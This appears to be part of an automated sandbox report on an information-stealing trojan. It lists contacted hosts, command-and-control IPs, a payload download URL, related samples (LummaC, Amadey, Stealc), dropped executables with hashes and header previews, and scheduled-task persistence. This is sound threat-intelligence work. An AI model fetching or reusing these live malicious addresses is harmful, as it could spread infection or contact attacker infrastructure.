http://31.41.244.11/files/fate/random.exe8476L	skotes.exe, 00000006.00000002.2983011812.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.tiro.com	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/history.aspxS	9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	3a0398bc51.exe, 00000009.00000003.2503295300.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475814548.0000000003983000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2503110387.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2501956717.0000000003937000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2476182622.0000000003937000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2594179425.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569342283.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569445556.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.css	7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
172.67.209.202	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
172.67.180.113	treehoneyi.click	United States	13335	CLOUDFLARENETUS	false
147.45.113.159	home.twentytk20pn.top	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
45.77.249.79	deafeninggeh.biz	United States	20473	AS-CHOOPAUS	false
178.62.201.34	immureprech.biz	European Union	14061	DIGITALOCEAN-ASNUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578703
Start date and time:	2024-12-20 07:10:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@27/18@19/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.19.206, 64.233.164.84, 4.175.87.197, 13.107.246.63, 172.202.163.200, 23.218.208.109
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:12:01	API Interceptor	304338x Sleep call for process: skotes.exe modified
01:12:16	API Interceptor	8x Sleep call for process: 3a0398bc51.exe modified
01:12:23	API Interceptor	8x Sleep call for process: d6bf37692b.exe modified
01:12:40	API Interceptor	1x Sleep call for process: 9f58fa9406.exe modified
01:13:02	API Interceptor	18x Sleep call for process: 7ba71287b7.exe modified
01:13:02	API Interceptor	2x Sleep call for process: 386e7e479d.exe modified
06:11:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
34.226.108.155	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse
	s3hvuz3XS0.exe	Get hash	malicious	Cryptbot	Browse
	65AcuGF7W7.exe	Get hash	malicious	Cryptbot	Browse
	UYJ0oreVew.exe	Get hash	malicious	Unknown	Browse
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	vOizfcQSGf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.google.com	https://us-east-2.protection.sophos.com/?d=purogosouls.github.io&u=aHR0cHM6Ly9wdXJvZ29zb3Vscy5naXRodWIuaW8vNjRkczZmNHM5ZDRmODlzZDRzZjQ2c2Q0ZjYv&i=NWQ0M2E1N2M3M2U5MzQxMGM1NjBhNmQ1&t=dEtlN04wQWZmZ0hqZlpiZEYwVXZ4NHFvc2NQNGtsUWl4Unlndk5helZOaz0=&h=356f16f6a39049efa5b305c7477e094a&s=AVNPUEhUT0NFTkNSWVBUSVZaHP6eDnex344kFPbGkNGwPXEfGJHtcvdIV0gRc1_JzA%20us-east-2.protection.sophos.com	Get hash	malicious	HTMLPhisher	Browse	172.217.19.228
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	172.217.19.228
	Dec 2024_12192924_Image.pdf	Get hash	malicious	HTMLPhisher	Browse	142.250.181.132
	http://senalongley.com	Get hash	malicious	Unknown	Browse	172.217.19.228
	https://f.io/nWWUxvn6	Get hash	malicious	HTMLPhisher	Browse	142.250.181.132
	Executed_Innocap-#81(Final.pdf	Get hash	malicious	Unknown	Browse	172.217.19.228
	https://pass-ga.com/	Get hash	malicious	Unknown	Browse	142.250.181.132
	http://supplytic.ca/chuu/wpia/posha/sf_rand_string_mixed(24)/terence.tinnelly@innocapglobal.com	Get hash	malicious	Unknown	Browse	142.250.181.132
	https://workrubinnovations.com/wp-includes/kih/login.html?General=hLskkvfnVcqEPbdrK7sunT26PsAphHOxpizUKt2RC0aCijWkm4KdKAm8rk2qEAtO77hTNQ1F3KTfWtNkeEuTUzu5miygK9V9H06	Get hash	malicious	HTMLPhisher	Browse	142.250.181.132
	https://ryouthed.com/click.php?key=ij553tkpbj8t1lsuduh3&SUB_ID_SHORT=47f1db28f063a1d38918a2dcc31e91eb&COST_CPC=0.000050&PLACEMENT_ID=25101964&CAMPAIGN_ID=1170410&PUBLISHER_ID=2361353&ZONE_ID=4463547	Get hash	malicious	Unknown	Browse	142.250.181.132
immureprech.biz	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.131.68.180
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	sNWQ2gC6if.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	66DJ2wErLz.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	SkaKk8Z1J0.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.180.113
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.23.76
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	random.exe.10.exe	Get hash	malicious	LummaC	Browse	104.21.23.76
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	104.21.23.76
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.64
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
CLOUDFLARENETUS	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	https://us-east-2.protection.sophos.com/?d=purogosouls.github.io&u=aHR0cHM6Ly9wdXJvZ29zb3Vscy5naXRodWIuaW8vNjRkczZmNHM5ZDRmODlzZDRzZjQ2c2Q0ZjYv&i=NWQ0M2E1N2M3M2U5MzQxMGM1NjBhNmQ1&t=dEtlN04wQWZmZ0hqZlpiZEYwVXZ4NHFvc2NQNGtsUWl4Unlndk5helZOaz0=&h=356f16f6a39049efa5b305c7477e094a&s=AVNPUEhUT0NFTkNSWVBUSVZaHP6eDnex344kFPbGkNGwPXEfGJHtcvdIV0gRc1_JzA%20us-east-2.protection.sophos.com	Get hash	malicious	HTMLPhisher	Browse	104.21.49.70
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	Dec 2024_12192924_Image.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.49.70
	http://senalongley.com	Get hash	malicious	Unknown	Browse	104.21.96.47
	https://f.io/nWWUxvn6	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	c9toH15OT0.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.23.76
	Executed_Innocap-#81(Final.pdf	Get hash	malicious	Unknown	Browse	104.21.11.54
	https://pass-ga.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
AMAZON-AESUS	https://f.io/nWWUxvn6	Get hash	malicious	HTMLPhisher	Browse	52.45.152.88
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	54.196.163.229
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	54.157.218.48
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	23.21.163.240
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	52.73.205.225
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	34.226.108.155
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	100.26.196.182
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	54.15.14.250
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	34.226.108.155
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	54.35.254.71

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	hubus.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	mirabon.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79
	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse	172.67.209.202 178.62.201.34 172.67.180.113 45.77.249.79

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9f58fa9406.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe_Y.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4455936
Entropy (8bit):	7.984274346584204
Encrypted:	false
SSDEEP:	98304:FjaYA0yQVH41Rf/LiuDuNPgfEwuJvY9T6/B0YOaHlpEwjXwzwVcKbD:F/yQN41h+uDSPgAZY9TKGaF62Xws5
MD5:	5968B059B7177E6F97A543A06E670B29
SHA1:	281BFAFA819325EBC98BA8A2EB63C581ABD5CF01
SHA-256:	460AE596176DEF8A7109CC2ED5FCF0C5736F45E91F47DA0FB75587091B8D2B3C
SHA-512:	2C5419A00BAEC53A0712C33E9C8EA82266A34E5105BDB9CEDF2B0B82F24F54EAF08EAEA321F1C36EF57284922184EF77260AEF38991C3370FEEAA5EDCCEB9ED6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@.................................v,D...@... ............................._pt.s....`t.....................................................H....................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..8...t......`(.............@...sshkjhii.....@...v...b(.............@...vjqzdwsz..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4465152
Entropy (8bit):	7.983536487642573
Encrypted:	false
SSDEEP:	98304:xf1ENWMjU7xdmny5GMwMFyzDwFNJkMOxkUyxOn:F1EjUNdCy52zEUYO
MD5:	979B5B392C771138DDBDD0E534FC3F00
SHA1:	2BA57039B4541EC462591EAB7A4181780328715D
SHA-256:	7233ECB4E0AD223BCDAF7D6A48B7C1999CEA69E3E83E8E02F5DCAE04A6C67E42
SHA-512:	ADCEF3EE9BB2933F0F89160D0D24122785A3A708C51DC1295DF0425FE2B6EFD0633DD110DEC53A44E0B0D326C58C78358EC244D0E8D5CAA94DFFB7ABCC0AE998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...@.......PD...@..........................p........D...@... ............................._.a.s.....a......................$..............................x$...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...oqomgfsk.............T(.............@...ieoflvje.....0........C.............@....taggant.0...@..."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
